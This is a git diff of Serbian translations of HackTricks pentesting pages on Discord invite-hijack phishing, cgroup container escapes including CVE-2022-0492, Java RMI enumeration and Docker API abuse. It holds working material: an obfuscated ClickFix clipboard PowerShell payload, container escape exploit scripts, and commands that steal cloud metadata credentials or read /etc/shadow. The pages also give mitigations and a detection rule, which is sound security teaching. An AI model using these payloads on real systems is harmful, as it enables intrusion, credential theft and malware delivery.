Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-07-12 15:33:21 +00:00
parent d108c65ca9
commit dd4d282c20
7 changed files with 157 additions and 85 deletions

View File

@ -19,7 +19,7 @@ Ranljivost Discord-ovog sistema za poziv omogućava pretnjama da preuzmu istekao
- Prikupite pozivne kodove od interesa (privremene ili prilagođene).
2. Pre-registration
- Kreirajte ili koristite postojeći Discord server sa privilegijama Level 3 pojačanja.
- U **Podešavanja servera → Prilagođeni URL**, pokušajte da dodelite ciljni pozivni kod. Ako bude prihvaćen, kod je rezervisan od strane zlonamernog servera.
- U **Server Settings → Vanity URL**, pokušajte da dodelite ciljni pozivni kod. Ako bude prihvaćen, kod je rezervisan od strane zlonamernog servera.
3. Aktivacija preuzimanja
- Za privremene pozive, sačekajte da originalni poziv istekne (ili ga ručno obrišite ako kontrolišete izvor).
- Za kodove koji sadrže velika slova, varijanta sa malim slovima može se odmah preuzeti, iako preusmeravanje aktivira tek nakon isteka.
@ -29,13 +29,13 @@ Ranljivost Discord-ovog sistema za poziv omogućava pretnjama da preuzmu istekao
## Phishing tok putem Discord servera
1. Ograničite kanale servera tako da je vidljiv samo **#verify** kanal.
2. Postavite bota (npr. **Safeguard#0786**) da podstakne novajlije da se verifikuju putem OAuth2.
3. Bot preusmerava korisnike na phishing sajt (npr. `captchaguard.me`) pod izgovorom CAPTCHA ili koraka verifikacije.
2. Postavite bota (npr., **Safeguard#0786**) da podstakne novajlije da se verifikuju putem OAuth2.
3. Bot preusmerava korisnike na phishing sajt (npr., `captchaguard.me`) pod izgovorom CAPTCHA ili koraka verifikacije.
4. Implementirajte **ClickFix** UX trik:
- Prikazujte poruku o pokvarenom CAPTCHA.
- Uputite korisnike da otvore **Win+R** dijalog, nalepite unapred učitanu PowerShell komandu i pritisnite Enter.
- Uputite korisnike da otvore **Win+R** dijalog, nalepite unapred učitanu PowerShell komandu i pritisnu Enter.
### ClickFix Primer ubrizgavanja u međuspremnik
### ClickFix Clipboard Injection Example
```javascript
// Copy malicious PowerShell command to clipboard
const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` +
@ -46,16 +46,16 @@ navigator.clipboard.writeText(cmd);
```
Ovaj pristup izbegava direktno preuzimanje fajlova i koristi poznate UI elemente kako bi smanjio sumnju korisnika.
## Mitigacije
## Mogućnosti ublažavanja
- Koristite trajne pozivnice koje sadrže barem jedno veliko slovo ili ne-alfanumerički karakter (nikada ne isteknu, ne mogu se ponovo koristiti).
- Redovno menjajte pozivne kodove i opozovite stare linkove.
- Pratite status pojačanja Discord servera i tvrdnje o vanity URL-ovima.
- Obrazujte korisnike da verifikuju autentičnost servera i izbegavaju izvršavanje komandi koje su kopirane iz međuspremnika.
- Obrazujte korisnike da provere autentičnost servera i izbegavaju izvršavanje komandi koje su kopirane iz međuspremnika.
## Reference
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
- Discord Custom Invite Link Documentation https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
- Discord Custom Invite Link Documentation [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
**Za više detalja, pogledajte** [**originalni blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Ovo je samo sažetak:
Original PoC:
---
## Klasični PoC (2019)
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Dokaz koncepta (PoC) demonstrira metodu za iskorišćavanje cgroups kreiranjem `release_agent` datoteke i pokretanjem njenog poziva za izvršavanje proizvoljnih komandi na hostu kontejnera. Evo pregleda koraka koji su uključeni:
PoC zloupotrebljava **cgroup-v1** `release_agent` funkciju: kada poslednji zadatak cgrupe koja ima `notify_on_release=1` izađe, kernel (u **početnim imenskim prostorima na hostu**) izvršava program čija je putanja sačuvana u zapisivom fajlu `release_agent`. Budući da se to izvršavanje dešava sa **potpunim root privilegijama na hostu**, sticanje prava pisanja na fajl je dovoljno za bekstvo iz kontejnera.
### Kratak, čitljiv vodič
1. **Pripremite novu cgroup**
1. **Pripremite Okruženje:**
- Direktorijum `/tmp/cgrp` se kreira da služi kao tačka montiranja za cgroup.
- RDMA cgroup kontroler se montira na ovaj direktorijum. U slučaju odsustva RDMA kontrolera, predlaže se korišćenje `memory` cgroup kontrolera kao alternative.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Postavite Dete Cgroup:**
- Dete cgroup pod imenom "x" se kreira unutar montirane cgroup direktorije.
- Obaveštenja su omogućena za "x" cgroup pisanjem 1 u njegov notify_on_release fajl.
```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # ili o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Konfigurišite Release Agent:**
- Putanja kontejnera na hostu se dobija iz /etc/mtab datoteke.
- release_agent datoteka cgrupa se zatim konfiguriše da izvrši skriptu nazvanu /cmd smeštenu na dobijenoj putanji hosta.
2. **Usmerite `release_agent` na skriptu koju kontroliše napadač na hostu**
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Kreirajte i Konfigurišite /cmd Skriptu:**
- /cmd skripta se kreira unutar kontejnera i konfiguriše se da izvršava ps aux, preusmeravajući izlaz u datoteku pod imenom /output u kontejneru. Puni put do /output na hostu je specificiran.
3. **Postavite payload**
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
```
5. **Pokreni Napad:**
- Proces se pokreće unutar "x" child cgroup i odmah se prekida.
- Ovo pokreće `release_agent` (skriptu /cmd), koja izvršava ps aux na hostu i zapisuje izlaz u /output unutar kontejnera.
4. **Pokrenite notifikator**
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # dodajemo sebe i odmah izlazimo
cat /output # sada sadrži procese na hostu
```
---
## 2022 kernel ranjivost CVE-2022-0492
U februaru 2022. Yiqi Sun i Kevin Wang su otkrili da **kernel *nije* proveravao privilegije kada je proces pisao u `release_agent` u cgroup-v1** (funkcija `cgroup_release_agent_write`).
Efektivno **bilo koji proces koji je mogao da montira hijerarhiju cgrupe (npr. putem `unshare -UrC`) mogao je da piše proizvoljnu putanju u `release_agent` bez `CAP_SYS_ADMIN` u *početnom* korisničkom imenskom prostoru**. Na kontejneru sa podrazumevanom konfiguracijom koji se pokreće kao root, ovo je omogućilo:
* eskalaciju privilegija na root na hostu; ↗
* bekstvo iz kontejnera bez privilegija kontejnera.
Greška je dodeljena **CVE-2022-0492** (CVSS 7.8 / Visoko) i ispravljena u sledećim verzijama kernela (i svim kasnijim):
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Patch commit: `1e85af15da28 "cgroup: Fix permission checking"`.
### Minimalni exploit unutar kontejnera
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
Ako je kernel ranjiv, busybox binarni fajl sa *host*-a se izvršava sa punim root pristupom.
### Ojačavanje i ublažavanje
* **Ažurirajte kernel** (≥ verzije iznad). Zakrpa sada zahteva `CAP_SYS_ADMIN` u *početnom* korisničkom imenskom prostoru da bi pisala u `release_agent`.
* **Preferirajte cgroup-v2** ujedinjena hijerarhija **potpuno je uklonila `release_agent` funkciju**, eliminišući ovu klasu eskapa.
* **Onemogućite neprivilegovane korisničke prostore** na hostovima koji ih ne trebaju:
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **Obavezna kontrola pristupa**: AppArmor/SELinux politike koje odbijaju `mount`, `openat` na `/sys/fs/cgroup/**/release_agent`, ili uklanjaju `CAP_SYS_ADMIN`, zaustavljaju tehniku čak i na ranjivim kernelima.
* **Read-only bind-mask** svih `release_agent` fajlova (primer skripte Palo Alto):
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## Detekcija u vreme izvršavanja
[`Falco`](https://falco.org/) dolazi sa ugrađenim pravilom od v0.32:
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
Pravilo se aktivira na svaki pokušaj pisanja u `*/release_agent` iz procesa unutar kontejnera koji još uvek ima `CAP_SYS_ADMIN`.
## Reference
* [Unit 42 CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) detaljna analiza i skripta za ublažavanje.
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -14,20 +14,20 @@ PORT STATE SERVICE VERSION
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Obično su samo podrazumevani _Java RMI_ komponente (_RMI Registry_ i _Activation System_) vezane za uobičajene portove. _Remote objects_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove kao što je prikazano u gornjem izlazu.
Obično su samo podrazumevani _Java RMI_ komponente (_RMI Registry_ i _Activation System_) vezani za uobičajene portove. _Remote objects_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove kao što je prikazano u gornjem izlazu.
_nmap_ ponekad ima problema sa identifikovanjem _SSL_ zaštićenih _RMI_ usluga. Ako naiđete na nepoznatu ssl uslugu na uobičajenom _RMI_ portu, trebate dalje istražiti.
## RMI Komponente
U najjednostavnijim terminima, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. Ovo otvara _TCP_ port na kojem se klijenti mogu povezati i pozvati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoji nekoliko izazova koje _Java RMI_ treba da reši:
Jednostavno rečeno, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. Ovo otvara _TCP_ port na kojem se klijenti mogu povezati i pozvati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoji nekoliko izazova koje _Java RMI_ treba da reši:
1. Da bi poslali poziv metode putem _Java RMI_, klijenti treba da znaju IP adresu, port za slušanje, implementiranu klasu ili interfejs i `ObjID` ciljanog objekta ( `ObjID` je jedinstveni i nasumični identifikator koji se kreira kada objekat postane dostupan na mreži. Potreban je jer _Java RMI_ omogućava više objekata da slušaju na istom _TCP_ portu).
2. Daljinski klijenti mogu alocirati resurse na serveru pozivajući metode na izloženom objektu. _Java virtuelna mašina_ treba da prati koji od ovih resursa su još u upotrebi i koji od njih mogu biti prikupljeni kao smeće.
Prvi izazov se rešava putem _RMI registry_, koja je u suštini servis za imenovanje za _Java RMI_. Sam _RMI registry_ je takođe _RMI servis_, ali je implementirani interfejs i `ObjID` fiksni i poznati svim _RMI_ klijentima. Ovo omogućava _RMI_ klijentima da koriste _RMI_ registry samo znajući odgovarajući _TCP_ port.
Prvi izazov rešava _RMI registry_, koji je u suštini servis za imenovanje za _Java RMI_. _RMI registry_ je takođe _RMI usluga_, ali je implementirani interfejs i `ObjID` fiksni i poznati svim _RMI_ klijentima. Ovo omogućava _RMI_ klijentima da koriste _RMI_ registry samo znajući odgovarajući _TCP_ port.
Kada programeri žele da učine svoje _Java objekte_ dostupnim unutar mreže, obično ih vezuju za _RMI registry_. _Registry_ čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, port za slušanje, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom ( _bound name_). Klijenti koji žele da koriste _RMI servis_ traže od _RMI registry_ odgovarajući _bound name_ i registry vraća sve potrebne informacije za povezivanje. Tako je situacija u suštini ista kao sa običnim _DNS_ servisom. Sledeći spisak prikazuje mali primer:
Kada programeri žele da učine svoje _Java objekte_ dostupnim unutar mreže, obično ih vezuju za _RMI registry_. _Registry_ čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, port za slušanje, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom ( _bound name_). Klijenti koji žele da koriste _RMI uslugu_ traže od _RMI registry_ odgovarajuće _bound name_ i registry vraća sve potrebne informacije za povezivanje. Tako je situacija u suštini ista kao sa običnom _DNS_ uslugom. Sledeći spisak prikazuje mali primer:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -59,11 +59,11 @@ Zajedno sa zastarelim _Activation System_, ovo su tri podrazumevana komponenta _
2. _Activation System_ (`ObjID = 1`)
3. _Distributed Garbage Collector_ (`ObjID = 2`)
Podrazumevane komponente _Java RMI_ su poznate vektore napada već neko vreme i više ranjivosti postoje u zastarelim verzijama _Java_. Sa stanovišta napadača, ove podrazumevane komponente su zanimljive, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI services_. Da biste pozvali metodu na _remote object_, morate unapred znati odgovarajući potpis metode. Bez poznavanja postojećeg potpisa metode, ne postoji način da komunicirate sa _RMI service_.
Podrazumevane komponente _Java RMI_ su poznati vektori napada već neko vreme i više ranjivosti postoje u zastarelim verzijama _Java_. Sa stanovišta napadača, ove podrazumevane komponente su zanimljive, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI services_. Da biste pozvali metodu na _remote object_, morate unapred znati odgovarajući potpis metode. Bez poznavanja postojećeg potpisa metode, ne postoji način da komunicirate sa _RMI service_.
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je _Java RMI_ skener ranjivosti koji je sposoban da automatski identifikuje uobičajene _RMI vulnerabilities_. Kada god identifikujete _RMI_ endpoint, trebali biste to isprobati:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je _Java RMI_ skener ranjivosti koji je sposoban da automatski identifikuje uobičajene _RMI vulnerabilities_. Kada identifikujete _RMI_ endpoint, trebali biste to isprobati:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
@ -138,7 +138,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```
## Bruteforcing Remote Methods
Čak i kada tokom enumeracije nisu identifikovane ranjivosti, dostupne _RMI_ usluge mogu i dalje izložiti opasne funkcije. Štaviše, iako je _RMI_ komunikacija sa _RMI_ podrazumevajućim komponentama zaštićena filtrima za deserializaciju, kada se razgovara sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na _RMI_ uslugama je stoga dragoceno.
Čak i kada nisu identifikovane ranjivosti tokom enumeracije, dostupne _RMI_ usluge i dalje mogu izložiti opasne funkcije. Štaviše, iako je _RMI_ komunikacija sa _RMI_ podrazumevanim komponentama zaštićena filtrima za deserializaciju, kada se razgovara sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na _RMI_ uslugama je stoga dragoceno.
Nažalost, _Java RMI_ ne podržava enumeraciju metoda na _daljinskim objektima_. Ipak, moguće je bruteforcovati potpise metoda pomoću alata kao što su [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ili [rmiscout](https://github.com/BishopFox/rmiscout):
```
@ -205,11 +205,11 @@ Više informacija može se naći u ovim člancima:
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
Osim pogađanja, trebali biste takođe potražiti u pretraživačima ili _GitHub_-u za interfejsom ili čak implementacijom naiđenog _RMI_ servisa. _Bound name_ i naziv implementirane klase ili interfejsa mogu biti od pomoći ovde.
Osim pogađanja, trebali biste takođe potražiti u pretraživačima ili _GitHub_-u za interfejs ili čak implementaciju susretnutog _RMI_ servisa. _Bound name_ i naziv implementirane klase ili interfejsa mogu biti od pomoći ovde.
## Poznati Interfejsi
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) označava klase ili interfejse kao `poznate` ako su navedene u internom bazi podataka alata o poznatim _RMI servisima_. U tim slučajevima možete koristiti `poznatu` akciju da dobijete više informacija o odgovarajućem _RMI servisu_:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) označava klase ili interfejse kao `known` ako su navedeni u internom bazi podataka alata o poznatim _RMI servisima_. U tim slučajevima možete koristiti `known` akciju da dobijete više informacija o odgovarajućem _RMI servisu_:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
@ -266,19 +266,19 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan
- `port:1099 java`
## Alati
## Tools
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://github.com/BishopFox/rmiscout)
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## Reference
## References
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)

View File

@ -11,8 +11,8 @@ Docker je **vodeća platforma** u **industriji kontejnerizacije**, koja prednja
#### Osnovna arhitektura dockera
- [**containerd**](http://containerd.io): Ovo je **osnovni runtime** za kontejnere, zadužen za sveobuhvatno **upravljanje životnim ciklusom kontejnera**. To uključuje upravljanje **prenosom i skladištenjem slika**, pored nadgledanja **izvršavanja, praćenja i umrežavanja** kontejnera. **Detaljniji uvidi** o containerd su **dalje istraženi**.
- **container-shim** igra ključnu ulogu kao **posrednik** u upravljanju **headless kontejnerima**, preuzimajući ulogu od **runc** nakon što su kontejneri inicijalizovani.
- [**runc**](http://runc.io): Poznat po svojim **laganim i univerzalnim runtime** sposobnostima, runc je usklađen sa **OCI standardom**. Koristi ga containerd za **pokretanje i upravljanje kontejnerima** prema **OCI smernicama**, razvijajući se iz originalnog **libcontainer**.
- **container-shim** igra ključnu ulogu kao **posrednik** u upravljanju **headless kontejnerima**, preuzimajući bez problema od **runc** nakon što su kontejneri inicijalizovani.
- [**runc**](http://runc.io): Poznat po svojim **laganim i univerzalnim runtime** sposobnostima, runc je usklađen sa **OCI standardom**. Koristi se od strane containerd za **pokretanje i upravljanje kontejnerima** prema **OCI smernicama**, razvijajući se iz originalnog **libcontainer**.
- [**grpc**](http://www.grpc.io) je ključan za **olakšavanje komunikacije** između containerd i **docker-engine**, osiguravajući **efikasnu interakciju**.
- [**OCI**](https://www.opencontainers.org) je od suštinskog značaja za održavanje **OCI specifikacija** za runtime i slike, pri čemu su najnovije verzije Dockera **usaglašene sa OCI standardima za slike i runtime**.
@ -41,11 +41,11 @@ docker system prune -a
```
#### Containerd
**Containerd** je posebno razvijen da zadovolji potrebe platformi za kontejnere kao što su **Docker i Kubernetes**, između ostalog. Njegov cilj je da **pojednostavi izvršavanje kontejnera** na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahujući funkcionalnosti specifične za operativni sistem i sistemske pozive. Cilj Containerd-a je da uključi samo osnovne funkcije koje su potrebne njegovim korisnicima, teži da izostavi nepotrebne komponente. Međutim, postizanje ovog cilja u potpunosti se priznaje kao izazovno.
**Containerd** je posebno razvijen da zadovolji potrebe platformi za kontejnere kao što su **Docker i Kubernetes**, između ostalog. Njegova svrha je da **pojednostavi izvršavanje kontejnera** na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahujući funkcionalnosti specifične za operativni sistem i sistemske pozive. Cilj Containerd-a je da uključi samo osnovne funkcije koje su potrebne njegovim korisnicima, te da teži izostavljanju nepotrebnih komponenti. Međutim, potpuno postizanje ovog cilja se priznaje kao izazovno.
Ključna dizajnerska odluka je da **Containerd ne upravlja mrežom**. Mreža se smatra kritičnim elementom u distribuiranim sistemima, sa složenostima kao što su Softverski Definisana Mreža (SDN) i otkrivanje usluga koje se značajno razlikuju od jedne platforme do druge. Stoga, Containerd prepušta aspekte mreže platformama koje podržava.
Dok **Docker koristi Containerd** za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup Docker-ovih funkcionalnosti. Konkretno, Containerd nema mogućnosti upravljanja mrežom prisutne u Docker-u i ne podržava direktno kreiranje Docker swarm-ova. Ova razlika naglašava fokusiranu ulogu Containerd-a kao okruženja za izvršavanje kontejnera, delegirajući specijalizovanije funkcionalnosti platformama sa kojima se integriše.
Dok **Docker koristi Containerd** za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup funkcionalnosti Dockera. Konkretno, Containerd nema mogućnosti upravljanja mrežom prisutne u Dockeru i ne podržava direktno kreiranje Docker swarm-ova. Ova razlika naglašava fokusiranu ulogu Containerd-a kao okruženja za izvršavanje kontejnera, delegirajući specijalizovanije funkcionalnosti platformama sa kojima se integriše.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -75,7 +75,7 @@ Podman je dizajniran da bude kompatibilan sa Docker-ovim API-jem, omogućavajuć
Podmanov pristup nudi sigurnu i fleksibilnu alternativu Dockera, naglašavajući upravljanje privilegijama korisnika i kompatibilnost sa postojećim Docker radnim tokovima.
> [!NOTE]
> [!TIP]
> Imajte na umu da, kako Podman teži da podrži isti API kao Docker, možete koristiti iste komande sa Podman-om kao sa Docker-om, kao što su:
>
> ```bash
@ -98,7 +98,7 @@ PORT STATE SERVICE
#### Manual
Napomena: da biste enumerisali docker API, možete koristiti `docker` komandu ili `curl` kao u sledećem primeru:
Napomena da da biste enumerisali docker API možete koristiti `docker` komandu ili `curl` kao u sledećem primeru:
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
@ -136,7 +136,7 @@ GitCommit: fec3683
```
Ako možete **kontaktirati udaljeni docker API sa `docker` komandom** možete **izvršiti** bilo koju od **docker** [**komandi koje su prethodno** komentarisane](2375-pentesting-docker.md#basic-commands) da biste komunicirali sa servisom.
> [!NOTE]
> [!TIP]
> Možete `export DOCKER_HOST="tcp://localhost:2375"` i **izbeći** korišćenje `-H` parametra sa docker komandom
**Brza eskalacija privilegija**
@ -152,7 +152,7 @@ curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
@ -199,14 +199,14 @@ cat /mnt/etc/shadow
### Eskalacija privilegija
Ako ste unutar hosta koji koristi docker, možete [**pročitati ove informacije da pokušate da povećate privilegije**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
Ako ste unutar hosta koji koristi docker, možete [**pročitati ove informacije da pokušate da eskalirate privilegije**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
### Otkriće tajni u aktivnim Docker kontejnerima
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
Proverite **env** (sekcija promenljivih okruženja) za tajne i možda ćete pronaći:
Proverite **env** (sekciju promenljivih okruženja) za tajne i možda ćete pronaći:
- Lozinke.
- IP adrese.
@ -218,9 +218,9 @@ Ako želite da izvučete datoteku:
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
### Osiguranje vašeg Dockera
### Osiguravanje vašeg Dockera
#### Osiguranje Docker instalacije i korišćenja
#### Osiguravanje Docker instalacije i korišćenja
- Možete koristiti alat [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) da pregledate vašu trenutnu docker instalaciju.
- `./docker-bench-security.sh`
@ -231,15 +231,15 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
#### Osiguranje Docker slika
#### Osiguravanje Docker slika
- Možete koristiti docker sliku [https://github.com/quay/clair](https://github.com/quay/clair) da skenira vaše druge docker slike i pronađe ranjivosti.
- `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
- `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
#### Osiguranje Dockerfile-ova
#### Osiguravanje Dockerfile-ova
- Možete koristiti alat [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) da **pregledate vaš Dockerfile** i pronađete sve vrste pogrešnih konfiguracija. Svaka pogrešna konfiguracija će dobiti ID, možete pronaći ovde [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) kako da ispravite svaku od njih.
- Možete koristiti alat [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) da **pregledate vaš Dockerfile** i pronađete sve vrste pogrešnih konfiguracija. Svaka pogrešna konfiguracija će dobiti ID, možete ovde pronaći [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) kako da ispravite svaku od njih.
- `dockerfilelinter -f Dockerfile`
![](<../images/image (176).png>)
@ -259,7 +259,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
![](<../images/image (501).png>)
#### Beleženje sumnjive aktivnosti
#### Zapisivanje sumnjive aktivnosti
- Možete koristiti alat [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) da detektujete **sumnjivo ponašanje u pokrenutim kontejnerima**.
